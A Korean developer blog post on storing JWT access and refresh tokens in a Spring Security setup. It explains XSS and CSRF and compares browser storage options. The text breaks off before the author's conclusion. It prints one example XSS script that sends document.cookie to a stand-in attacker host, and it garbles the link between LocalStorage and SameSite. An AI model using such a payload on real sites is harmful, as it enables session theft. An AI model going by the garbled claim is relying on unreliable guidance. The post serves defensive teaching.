๊ด€๋ฆฌ ๋ฉ”๋‰ด

JiYoung Dev ๐Ÿ–ฅ

Spring Security ์ ์šฉ๊ธฐ (4) JWT(JSON Web Tokens) ์–ด๋””์— ์ €์žฅํ•  ๊ฒƒ์ธ๊ฐ€? ๋ณธ๋ฌธ

์นดํ…Œ๊ณ ๋ฆฌ ์—†์Œ

Spring Security ์ ์šฉ๊ธฐ (4) JWT(JSON Web Tokens) ์–ด๋””์— ์ €์žฅํ•  ๊ฒƒ์ธ๊ฐ€?

Shinjio 2024. 5. 2. 21:30

์ด์ „ ํฌ์ŠคํŒ…์—์„œ JWT์˜ ๊ฐœ๋…์— ๋Œ€ํ•ด ์•Œ์•„๋ณด์•˜๋‹ค. 

2024.04.29 - [Study/Java] - Spring Security ์ ์šฉ๊ธฐ (3) JWT(JSON Web Tokens) ๊ฐœ๋…

 

JWT ๊ตฌํ˜„์„ ์ƒ๊ฐํ•˜๋‹ค๋ณด๋‹ˆ access token๊ณผ refresh token์„ ์–ด๋””์— ์ €์žฅํ•ด์•ผ ์ข‹์€์ง€์— ๋Œ€ํ•ด ๊ณ ๋ฏผํ•˜๊ฒŒ ๋˜์—ˆ๋‹ค. 

์ด์™€ ๊ด€๋ จํ•˜์—ฌ ๋งŽ์€ ๋ถ„๋“ค์ด ๊ณ ๋ฏผํ•˜๊ณ  ์ž‘์„ฑํ•œ ๊ธ€๋“ค์ด ์žˆ์–ด ์ด๋ฅผ ์ดํ•ดํ•˜๊ณ  ๋‚˜๋Š” ์–ด๋–ป๊ฒŒ ํ•  ๊ฒƒ์ธ์ง€ ๊ฒฐ๋ก ์„ ๋‚ด๋ฆฌ๊ณ ์ž ํ•œ๋‹ค.  


JWT ๋ฐœ๊ธ‰ ํ”„๋กœ์„ธ์Šค 

 

1. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋กœ๊ทธ์ธ์‹œ ์ธ์ฆ ์„œ๋ฒ„์—์„œ Access Token๊ณผ Refresh Token์„ ๋ฐœ๊ธ‰ํ•œ๋‹ค. 

2. ์ดํ›„ ์‚ฌ์šฉ์ž๋Š” API ์š”์ฒญ์‹œ ์š”์ฒญ ํ—ค๋”์— Access Token์„ ๋„ฃ์–ด ์š”์ฒญํ•œ๋‹ค. 

3. ์œ ํšจํ•œ  Token์ธ ๊ฒฝ์šฐ์—๋งŒ ํด๋ผ์ด์–ธํŠธ๋Š” ์ •์ƒ์ ์œผ๋กœ ์š”์ฒญ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค. 

4. ๋งŒ์•ฝ Access Token์€ ๋งŒ๋ฃŒ๋˜์—ˆ๋‹ค๋ฉด, Refresh Token์„ ๊ฒ€์ฆํ•˜์—ฌ ๋‹ค์‹œ Access Token์„ ๋ฐœ๊ธ‰ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค. 

 

๊ฐ„๋‹จํ•˜๊ฒŒ ์ •๋ฆฌํ•œ JWT ๋ฐœ๊ธ‰ ํ”„๋กœ์„ธ์Šค์ด๋‹ค. JWT์—๋Š” ๊ฐœ์ธ์ •๋ณด๋ฅผ ๋‹ด๊ณ  ์žˆ๋Š”๋ฐ, ์ธ์ฆ์„œ๋ฒ„/API์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ๊ฐ„ ์š”์ฒญ๊ณผ ์‘๋‹ต์„ ์ฃผ๊ณ  ๋ฐ›์œผ๋ฉด ํƒˆ์ทจ ๋˜ํ•œ ์ผ์–ด๋‚  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋ฌธ์ œ์ ์ด ์žˆ๋‹ค. 


JWT ํƒˆ์ทจ์™€ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•

JWT๊ฐ€ ํƒˆ์ทจ๋œ๋‹ค๋ฉด ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. 

์ฒซ ๋ฒˆ์งธ๋กœ ํƒˆ์ทจ๋œ JWT๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ์œ„์žฅํ•ด ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ •์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ๊ฐ€๋กœ์ฑ„๊ณ , ๊ทธ๋“ค์˜ ๋ช…์˜๋กœ ์•…์˜์ ์ธ ํ–‰๋™์„ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค. 

๋‘ ๋ฒˆ์งธ, JWT์—๋Š” ์‚ฌ์šฉ์ž ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ์‚ฌ์šฉ์ž์˜ ๊ฐœ์ธ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ๋‹ค. 

 

์ด๋ ‡๊ฒŒ JWT๊ฐ€ ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ๋Š” ์ฃผ์š” ๊ณต๊ฒฉ์œผ๋กœ XSS ๊ณต๊ฒฉ๊ณผ CSRF ๊ณต๊ฒฉ์ด ์žˆ๋‹ค. 

 

๐ŸฅŠ XSS ๊ณต๊ฒฉ

XSS(Cross-site Scripting), ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŠธ๋Š” ์›น์‚ฌ์ดํŠธ์—์„œ ์˜๋„์น˜ ์•Š์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ์–ด์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ธฐ๋ฒ•์„ ๋งํ•œ๋‹ค. ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅ ๋ฐ›์€ ๊ฐ’์„ ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๊ณ  ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ๋ฐœ์ƒํ•œ๋‹ค. 

๊ณต๊ฒฉ ๊ฒฐ๊ณผ ์‚ฌ์šฉ์ž๋Š” ์˜๋„์น˜ ์•Š์€ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ ์ฟ ํ‚ค, ์„ธ์…˜ ๋“ฑ์˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจ ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

๋ณดํ†ต ๊ฒŒ์‹œํŒ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋‹ด๊ธด ๊ธ€์„ ์˜ฌ๋ฆฌ๋Š” ํ˜•ํƒœ๋กœ ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ๊ธ€์„ ์—ด์–ด๋ณด๋ฉด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์›์น˜ ์•Š๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋œ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์œ ์ €์˜ ์ฟ ํ‚ค ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜, ์œ ์ € ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” API ํ˜ธ์ถœ ๋“ฑ์˜ ํ–‰์œ„๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

์˜ˆ๋ฅผ ๋“ค์–ด ๊ฒŒ์‹œ๊ธ€์— ์•„๋ž˜์™€ ๊ฐ™์€ ํƒœ๊ทธ๋ฅผ ๋„ฃ๊ณ  ๋ˆ„๋ฅด๊ฒŒ๋” ์œ ๋„ํ•˜๋ฉด javascript๊ฐ€ ์‹คํ–‰๋˜๋Š”๋ฐ 

<a href="javascript:alert('hello world')">ํด๋ฆญํ•ด๋ณด์„ธ์š”</a>

 

์‚ฌ์šฉ์ž๋Š” ํด๋ฆญ ๊ฒฐ๊ณผ hello world๋ผ๋Š” alert ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š”

 

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

 

์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ์ฟ ํ‚ค ๋˜๋Š” LocalStorage ๊ฐ’์„ ํ•ด์ปค์˜ ์„œ๋ฒ„๋กœ ์ „์†กํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. 

๋งŒ์•ฝ ์ฟ ํ‚ค ํ˜น์€ LocalStorage์— JWT๊ฐ€ ์ €์žฅ๋˜์–ด ์žˆ๋‹ค๋ฉด JWT ๋˜ํ•œ ํƒˆ์ทจ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

CSS ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์•„๋ž˜์™€ ๊ฐ™์€ ๋ฐฉ์•ˆ์ด ์žˆ๋‹ค. 

1. ์ค‘์š”ํ•œ ์ •๋ณด๋Š” ์ฟ ํ‚ค ๋Œ€์‹  ์„œ๋ฒ„์— ์ €์žฅํ•œ๋‹ค. 

2. ์ •๋ณด๋ฅผ ์•”ํ˜ธํ™”ํ•œ๋‹ค. 

3. httpOnly ์˜ต์…˜์„ ์„ค์ •ํ•œ๋‹ค. (document.cookie๋ฅผ ์ด์šฉํ•ด ์ฟ ํ‚ค์— ์ง์ ‘ ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•œ๋‹ค.)

4. URL encoding์ด๋‚˜ ๋ฌธ์ž์—ด์„ ์น˜ํ™˜ํ•œ๋‹ค. 

 

๐ŸฅŠ CSRF(Cross-site Request Forgery)

์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ ์˜์ง€์™€๋Š” ๋ฌด๊ด€ํ•˜๊ฒŒ ์นจ์ž…์ž๊ฐ€ ์˜๋„ํ•œ ํ–‰์œ„๋ฅผ ์„œ๋ฒ„์— ์š”์ฒญํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ณต๊ฒฉ์ด๋‹ค. 

 

 

1. ์นจ์ž…์ž๋Š” ์„œ๋ฒ„๋กœ ๋„˜์–ด๊ฐ€๋Š” ์ž๊ธˆ ์ „์†ก์— ๋Œ€ํ•œ ์š”์ฒญ์„ ์กฐ์ž‘ํ•˜๋ ค๊ณ  ํ•œ๋‹ค. 

2. ์นจ์ž…์ž๋Š” ํ•˜์ดํผ๋งํฌ์— ์ž๊ธˆ ์ „์†ก ์š”์ฒญ์— ๋Œ€ํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธํ•  ์‚ฌ๋žŒ๋“ค์—๊ฒŒ ์ „์†กํ•œ๋‹ค. 

3. ์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ๋ˆ„๋ฅด๋ฉด, ์˜๋„์น˜ ์•Š๊ฒŒ ์„œ๋ฒ„๋กœ ์ž๊ธˆ ์ „์†ก ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋œ๋‹ค. 

4. ์„œ๋ฒ„๋Š” ๋กœ๊ทธ์ธ ๋œ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์ด๋ฏ€๋กœ ์ •์ƒ์ ์œผ๋กœ ์ธ์‹ํ•˜๊ณ  ์ „์†ก์„ ์‹คํ–‰ํ•˜์—ฌ ์นจ์ž…์ž์—๊ฒŒ ๋ˆ์ด ์†ก๊ธˆ๋œ๋‹ค. 

 

์ด๋ ‡๊ฒŒ CSRF๊ฐ€ ์‹คํ–‰๋˜๋ ค๋ฉด ์•„๋ž˜ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•ด์•ผ ํ•œ๋‹ค. 

์ฒซ๋ฒˆ์งธ, ์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—ฌ์•ผ ํ•œ๋‹ค. 

๋‘๋ฒˆ์งธ, ์‚ฌ์šฉ์ž๋Š” ์กฐ์ž‘๋œ ํŽ˜์ด์ง€์— ๋ฐฉ๋ฌธํ•ด์•ผ ํ•œ๋‹ค

 

CSRF ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค. 

1. ์š”์ฒญ ํ—ค๋”(Request Header)์˜ ๋„๋ฉ”์ธ์ด ์ผ์น˜ํ•˜๋Š”์ง€ refferer ์†์„ฑ์„ ๊ฒ€์ฆํ•œ๋‹ค. ๋งŒ์•ฝ ๊ฐ™์€ ๋„๋ฉ”์ธ์˜ ์š”์ฒญ์ด ์•„๋‹ˆ๋ผ๋ฉด ์ฐจ๋‹จํ•œ๋‹ค. 

2. CSRF Token์„ ์‚ฌ์šฉํ•œ๋‹ค. ๋žœ๋คํ•œ UUID์™€ ๊ฐ™์€ ์ž„์˜์˜ ๋‚œ์ˆ˜๋ฅผ ์„ธ์…˜์— ์ €์žฅํ•ด๋‘๊ณ  ํ•ด๋‹น ๋‚œ์ˆ˜๊ฐ€ ์ „๋‹ฌ๋˜์ง€ ์•Š์œผ๋ฉด ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•œ๋‹ค. 

3. Security Token์„ ์‚ฌ์šฉํ•œ๋‹ค. ์‚ฌ์šฉ์ž ์„ธ์…˜์— ์•”ํ˜ธํ™”๋œ ๊ฐ’์„ ์ €์žฅํ•˜๊ณ  ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ๋งˆ๋‹ค ํ•ด๋‹น ์•”ํ˜ธํ™”๋œ ๊ฐ’์„ ํฌํ•จ์‹œ์ผœ ์ „์†กํ•œ๋‹ค. ์ดํ›„ ์„œ๋ฒ„์—์„œ ์š”์ฒญ์„ ๋ฐ›์„ ๋•Œ๋งˆ๋‹ค ์„ธ์…˜์— ์ €์žฅ๋œ ํ† ํฐ ๊ฐ’๊ณผ ์š”์ฒญ์— ์ „๋‹ฌ๋˜๋Š” ํ† ํฐ ๊ฐ’์ด ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. 

 

๐ŸฅŠ XSS vs CSRF

๋‘ ๊ณต๊ฒฉ์„ ๋น„๊ตํ•˜์ž๋ฉด

1. XSS๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ์‚ฌ์ดํŠธ๋ฅผ ์‹ ๋ขฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ๋ผ๋ฉด, 

    → ์‚ฌ์šฉ์ž๋Š” ํ•ด๋‹น ์‚ฌ์ดํŠธ๋ฅผ ๋ฏฟ๊ณ  ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋‹ด๊ธด ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ์Œ

    CSRF๋Š” ํŠน์ • ์‚ฌ์ดํŠธ๊ฐ€ ์‚ฌ์šฉ์ž๋ฅผ ์‹ ๋ขฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ๋‹ค. 

    → ์‚ฌ์ดํŠธ๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์ž„์„ ๋ฏฟ๊ธฐ ๋•Œ๋ฌธ์— ์œ„์กฐ๋œ ์š”์ฒญ์„ ์ˆ˜ํ–‰

2. XSS๋Š” ํด๋ผ์ด์–ธํŠธ์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ์ด๊ณ ,

    → ํด๋ผ์ด์–ธํŠธ์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰

    CSRF๋Š” ์„œ๋ฒ„์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค. 

    → ์•…์„ฑ ์š”์ฒญ์„ ๋ฐ›์€ ์„œ๋ฒ„๊ฐ€ ํ•ด๋‹น ์š”์ฒญ์„ ์ˆ˜ํ–‰

3. XSS๋Š” ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๊ณ ,

    → javascript(ex. document.cookie)๋ฅผ ํ†ตํ•ด ์ฟ ํ‚ค์— ์ ‘๊ทผ ๊ฐ€๋Šฅ

    CSRF๋Š” ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ๊ถŒํ•œ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค. 

   → ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ ๋‚จ์šฉ

 

๊ทธ๋ ‡๋‹ค๋ฉด JWT๋Š” ์–ด๋””์— ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด ์ข‹์„๊นŒ?


JWT ์ €์žฅ ์œ„์น˜

JWT๋Š” SessionStorage, LocalStorage, Cookies, private variable(๋น„๊ณต๊ฐœ ๋ณ€์ˆ˜)์— ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ์ค‘์—์„œ๋„ LocalStorage ํ˜น์€ Cookie์— ๋งŽ์ด ์ €์žฅํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค. 

๊ทธ๋Ÿผ ๊ฐ๊ฐ์˜ ์ €์žฅ ์œ„์น˜์— ๋Œ€ํ•œ ์ฐจ์ด๋ฅผ ์•Œ์•„๋ณด๋„๋ก ํ•˜์ž. 

 

๐Ÿ’พ SessionStorage

ํŽ˜์ด์ง€๋ฅผ ์ƒˆ๋กœ๊ณ ์นจํ•˜๊ฑฐ๋‚˜ ์ด๋™ํ•˜์—ฌ๋„ ํ† ํฐ์ด ์œ ์ง€๋˜์ง€๋งŒ ์ƒˆ๋กœ์šด ํƒญ์—์„œ ์ ‘์†์‹œ ์„ธ์…˜์ด ๋‚˜๋ˆ„์–ด์ง€๊ณ , ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ข…๋ฃŒ๋˜๋Š” ์ˆœ๊ฐ„ ํœ˜๋ฐœ๋˜์–ด ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์— ์ข‹์ง€ ์•Š๋‹ค. 

 

๐Ÿ’พ LocalStorage

ํŽ˜์ด์ง€๋ฅผ ์ด๋™ํ•˜๊ฑฐ๋‚˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๋‹ค์‹œ ์‹œ์ž‘ํ•˜์—ฌ๋„ ๋งŒ๋ฃŒ ์—†์ด ์œ ์ง€๋œ๋‹ค. ํ•˜์ง€๋งŒ ์„ธ์…˜ ์Šคํ† ๋ฆฌ์ง€์™€ ๋™์ผํ•˜๊ฒŒ ๋ชจ๋“  ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด XSS ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ LocalStorage์— ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋Š” SameSite ์ฟ ํ‚ค ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„๋กœ ์ „์†ก๋˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ CSRF ๊ณต๊ฒฉ์—๋Š” ์•ˆ์ „ํ•˜๋‹ค. 

 

๐Ÿ’พ Cookie

์˜ต์…˜ ์—†์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ์ž‘๋™๋˜๋Š” ์ฟ ํ‚ค๋Š” XSS, CSRF(์ฟ ํ‚ค๋Š” ์ž๋™์œผ๋กœ ๋ชจ๋“  HTTP ์š”์ฒญ์— ํฌํ•จ๋˜๊ธฐ ๋•Œ๋ฌธ) ๋ชจ๋‘์— ์ทจ์•ฝํ•˜๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Cookie๋Š” HttpOnly ์†์„ฑ ์„ค์ •์„ ํ†ตํ•ด script์—์„œ Cookie๋ฅผ ์ ‘๊ทผ ๋ถˆ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜์—ฌ XSS ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค. 

๋ฐ˜๋ฉด, CSRF ๋ฐฉ์–ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๊ฐ€ JWT๋ฅผ Cookie๊ฐ€ ์•„๋‹Œ Header์— ๋„ฃ๊ณ  ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๊ฒƒ์ด๋‹ค. ์ด๋Ÿด ๊ฒฝ์šฐ CSFR ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์ฟ ํ‚ค๊ฐ€ ์ „๋‹ฌ๋˜๋„ ์„œ๋ฒ„์—์„œ๋Š” Cookie ๊ฐ’์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— CSRF๋ฅผ ํ†ตํ•œ ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ Header์— Cookie๋ฅผ ๋„ฃ๊ธฐ ์œ„ํ•ด์„œ๋Š” JS์—์„œ ์š”์ฒญ์„ ๋ณด๋‚ผ๋•Œ HttpOnly ์˜ต์…˜์„ ํ•ด์ œ ํ•ด์•ผ ํ•œ๋‹ค. 

๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ๋ฐฑ์—”๋“œ์—์„œ Secure, SameSite ์˜ต์…˜ ๋“ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • ๋„๋ฉ”์ธ์—์„œ๋งŒ ์š”์ฒญ์ด ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค์ •์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 

 

Cookie SameSite

์™ธ๋ถ€ ์‚ฌ์ดํŠธ์— ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•  ๋ฒ”์œ„๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. ์†์„ฑ์€ ์ด 3๊ฐ€์ง€๋‹ค. 

1. Strict : ์ฟ ํ‚ค๋ฅผ ์ „๋‹ฌํ•  ๋•Œ ํ˜„์žฌ ํŽ˜์ด์ง€ ๋„๋ฉ”์ธ๊ณผ ์š”์ฒญ๋ฐ›๋Š” ๋„๋ฉ”์ธ์ด ๊ฐ™์•„์•ผ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•œ๋‹ค. 

2. Lax : Strict์—์„œ <a href>, <link href>, GET Method ์š”์ฒญ์„ ์ œ์™ธํ•˜๊ณ ๋Š” Strict์™€ ๋™์ผํ•˜๋‹ค. 

3. None : ๋„๋ฉ”์ธ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋Œ€์‹  secure ์˜ต์…˜์ด ํ•„์ˆ˜๋‹ค. 

 

๐Ÿ’พ Private Variable

๊ฐ€์žฅ ์•ˆ์ „ํ•˜์ง€๋งŒ ํŽ˜์ด์ง€๋ฅผ ์ด๋™ํ•˜๊ฑฐ๋‚˜, ์ƒˆ๋กœ๊ณ ์นจ๋งŒ ํ•˜์—ฌ๋„ ํ† ํฐ ์ •๋ณด๊ฐ€ ํœ˜๋ฐœ๋˜์–ด ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์— ์ข‹์ง€ ์•Š๋‹ค. 

 

XSS์™€ CRSF๋ฅผ ๋ชจ๋‘ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” HttpOnly ์˜ต์…˜์ด ์„ค์ •๋œ ์ฟ ํ‚ค์— JWT๋ฅผ ์ €์žฅํ•˜๊ณ , ๋ฐฑ์—”๋“œ์—์„œ HttpOnly ์˜ต์…˜๊ณผ SameSite Lax ์„ค์ •์„ ํ†ตํ•ด ํŠน์ • ๋„๋ฉ”์ธ์—์„œ๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์•ˆ์ „ํ•  ๊ฒƒ ๊ฐ™๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“ ๋‹ค. 


Refresh Token๊ณผ Access Token์„ ๋ชจ๋‘ ์ฟ ํ‚ค์— ์ €์žฅํ•ด?

์ด๋ฒˆ์— ๋“œ๋Š” ์ƒ๊ฐ์€ "Refresh Token๊ณผ Access Token์„ ๋ชจ๋‘ ์ฟ ํ‚ค์— ์ €์žฅํ•ด์•ผ ํ•˜๋Š”๊ฐ€?"์ด๋‹ค. 

์ด๋ ‡๊ฒŒ ๋˜๋ฉด ์•ˆ์ „ํ•˜๊ฒŒ ์„ค์ •์„ ํ•ด๋‘์—ˆ๋‹ค ํ•˜๋”๋ผ๋„ ๋ณด์•ˆ์ด ๋šซ๋ฆฌ๋ฉด ๋ชจ๋‘ ๊ฐ™์ด ํƒˆ์ทจ๋‹นํ•˜๊ฒŒ ๋˜๋Š”๋ฐ ์ด๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด ์„œ๋กœ ๋‹ค๋ฅธ ์ €์žฅ์†Œ์— ์ €์žฅํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹๊นŒ ๋ผ๋Š” ์ƒ๊ฐ์ด๋‹ค. 

๊ทธ๋ž˜์„œ ์ƒ๊ฐํ•œ ๋ฐฉ๋ฒ•์€ ์•„๋ž˜ ๋‘๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด๋‹ค. 

 

๋ฐฉ๋ฒ• 1. Access Token : LocalStorage / Refresh Token : Cookie(HttpOnly, samesite-lax)

- ์ด ๊ฒฝ์šฐ ์ƒˆ๋กœ๊ณ ์นจ์„ ํ•˜๊ฑฐ๋‚˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๋‹ค์‹œ ์‹คํ–‰ํ•ด๋„ ํ† ํฐ์„ ์ €์žฅํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ ์‚ฌ์šฉ์ž ์‚ฌ์šฉ์„ฑ์ด ์ฆ๊ฐ€ํ•œ๋‹ค. 

- ๊ทธ๋Ÿฌ๋‚˜ XSS๋กœ ์ธํ•ด Access Token์„ ํƒˆ์ทจ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Refresh Token์€ HttpOnly ์˜ต์…˜์œผ๋กœ ํƒˆ์ทจ๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. 

- ๋˜ํ•œ ๋‘ ํ† ํฐ ๋ชจ๋‘ CSRF์— ๋Œ€ํ•ด์„œ๋Š” ์–ด๋Š์ •๋„ ๋ณดํ˜ธ๊ฐ€ ๋œ๋‹ค. 

 

๋ฐฉ๋ฒ• 2. Access Token : ๋น„๊ณต๊ฐœ ๋ณ€์ˆ˜ / Refresh Token : Cookie(HttpOnly, samesite-lax)

- ๋‘ ๊ฐœ์˜ ํ† ํฐ ๋ชจ๋‘ XSS์™€ CSRF์— ๋Œ€ํ•ด ๋ฐฉ์–ด๊ฐ€ ๋œ๋‹ค. 

- ๊ทธ๋Ÿฌ๋‚˜ Access Token์˜ ๊ฒฝ์šฐ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ƒˆ๋กœ๊ณ ์นจํ•˜๊ฑฐ๋‚˜ ํŽ˜์ด์ง€ ์ด๋™์‹œ ํ† ํฐ์ด ํœ˜๋ฐœ๋˜์–ด Refresh Token ๊ฒ€์ฆ์ด ์ž์ฃผ ์ผ์–ด๋‚˜๋ฉฐ, Access Token์„ ์ž์ฃผ ์ƒ์„ฑํ•ด์•ผ ํ•˜๋ฏ€๋กœ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์ด ์ €ํ•˜๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์„œ๋ฒ„์— ์ถ”๊ฐ€์ ์ด ๋ถ€ํ•˜๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. 


๊ทธ๋ž˜์„œ ๋‚˜์˜ ๊ฒฐ๋ก ์€?

